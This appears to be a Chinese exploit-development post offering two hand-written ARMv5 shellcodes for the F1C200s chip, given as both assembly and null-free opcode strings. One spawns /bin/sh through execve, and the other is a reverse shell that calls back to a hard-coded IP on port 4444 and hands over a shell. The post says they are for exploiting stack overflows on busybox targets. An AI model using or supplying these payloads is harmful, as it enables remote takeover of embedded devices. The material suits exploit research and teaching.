背景:
由于在pwntools生成的shellcode默认Armv7语法无法在Armv5指令集芯片下执行,所以写了以下shellcode便于漏洞的利用,此shellcode为Armv5上亲测可使用且无NULL byte,此shellcode主要是对栈进行了操作,未对代码段与数据段进行修改。
适用场景:
1.目标适用busybox
2.有栈溢出或者其他可以劫持程序流程漏洞
3.内存中布置好此段shellcode,且能执行
/*
#execve("/bin/sh",["/bin/sh"],NULL)
#Date:2022-4-14
#Author:doudoudedi
#Text:F1C200s
*/
.section .text
.global _start
_start:
.ARM
eor r4,r4,r4
strb r4,[sp,#-14]
mov r7,#0x68
strb r7,[sp,#-0x15]
mov r7,#0x73
strb r7,[sp,#-0x16]
mov r7,#0x2f
strb r7,[sp,#-0x17]
mov r7,#0x6e
strb r7,[sp,#-0x18]
mov r7,#0x69
strb r7,[sp,#-0x19]
mov r7,#0x62
strb r7,[sp,#-0x1a]
mov r7,#0x2f
strb r7,[sp,#-0x1b]
add r4,sp,#-0x1b
add r3,pc,#1
bx r3
.THUMB
mov r0,r4
push {r0,r1}
mov r1,sp
mov r2,#1
sub r2,r2,#1
mov r7,#0xb
svc #1
/*
opcode
"04\x40\x24\xe0\x0e\x40\x4d\xe5\x68\x70\xa0\xe3\x15\x70\x4d\xe5\x73\x70\xa0\xe3\x16\x70\x4d\xe5\x2f\x70\xa0\xe3\x17\x70\x4d\xe5\x6e\x70\xa0\xe3\x18\x70\x4d\xe5\x69\x70\xa0\xe3\x19\x70\x4d\xe5\x62\x70\xa0\xe3\x1a\x70\x4d\xe5\x2f\x70\xa0\xe3\x1b\x70\x4d\xe5\x1b\x40\x4d\xe2\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x20\x1c\x03\xb4\x69\x46\x01\x22\x01\x3a\x0b\x27\x01\xdf\xc0\x46"
*/
Armv5反弹shell,注意第二个参数需要时/bin/sh地址的指针数组,且数组第二个为空或者有效地址。
/*
#reverse_ip=20.21.2.26,port=4444
#Date:2022-4-15
#Author:doudoudedi
#Text:F1C200s
.section .text
.global _start
_start:
.ARM
eor r4,r4,r4
mov r7,#0x14
strb r7,[sp,#-0x28]
mov r7,#0x15
strb r7,[sp,#-0x27]
mov r7,#0x2
strb r7,[sp,#-0x26]
mov r7,#0x1a
strb r7,[sp,#-0x25]
mov r7,#2
strb r7,[sp,#-0x2c]
strb r4,[sp,#-0x2b]
mov r7,#0x11
strb r7,[sp,#-0x2a]
mov r7,#0x5c
strb r7,[sp,#-0x29]
strb r4,[sp,#-0x14]
mov r7,#0x68
strb r7,[sp,#-0x15]
mov r7,#0x73
strb r7,[sp,#-0x16]
mov r7,#0x2f
strb r7,[sp,#-0x17]
mov r7,#0x6e
strb r7,[sp,#-0x18]
mov r7,#0x69
strb r7,[sp,#-0x19]
mov r7,#0x62
strb r7,[sp,#-0x1a]
mov r7,#0x2f
strb r7,[sp,#-0x1b]
add r4,sp,#-0x1b
add r5,sp,#-0x2c
add r3,pc,#1
bx r3
.THUMB
mov r0,#2
mov r1,#1
eor r2,r2,r2
mov r7,#200
add r7,r7,#81
svc #1
mov r6,r0
mov r1,r5
mov r2,#0x10
add r7,r7,#2
svc #1
mov r0,r6
eor r1,r1,r1
mov r7,#63
svc #1
mov r0,r6
add r1,r1,#1
svc #1
mov r0,r6
add r1,r1,#1
svc #1
mov r0,r4
eor r1,r1,r1
eor r2,r2,r2
push {r0,r1}
mov r1,sp
mov r7,#0xb
svc #1
opcode:
shellcode="04\x40\x24\xe0\x14\x70\xa0\xe3\x28\x70\x4d\xe5\x15\x70\xa0\xe3\x27\x70\x4d\xe5\x02\x70\xa0\xe3\x26\x70\x4d\xe5\x1a\x70\xa0\xe3\x25\x70\x4d\xe5\x02\x70\xa0\xe3\x2c\x70\x4d\xe5\x2b\x40\x4d\xe5\x11\x70\xa0\xe3\x2a\x70\x4d\xe5\x5c\x70\xa0\xe3\x29\x70\x4d\xe5\x14\x40\x4d\xe5\x68\x70\xa0\xe3\x15\x70\x4d\xe5\x73\x70\xa0\xe3\x16\x70\x4d\xe5\x2f\x70\xa0\xe3\x17\x70\x4d\xe5\x6e\x70\xa0\xe3\x18\x70\x4d\xe5\x69\x70\xa0\xe3\x19\x70\x4d\xe5\x62\x70\xa0\xe3\x1a\x70\x4d\xe5\x2f\x70\xa0\xe3\x1b\x70\x4d\xe5\x1b\x40\x4d\xe2\x2c\x50\x4d\xe2\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x06\x1c\x29\x1c\x10\x22\x02\x37\x01\xdf\x30\x1c\x49\x40\x3f\x27\x01\xdf\x30\x1c\x01\x31\x01\xdf\x30\x1c\x01\x31\x01\xdf\x20\x1c\x49\x40\x52\x40\x03\xb4\x69\x46\x0b\x27\x01\xdf"
*/
以上脚本都可以优化欢迎优化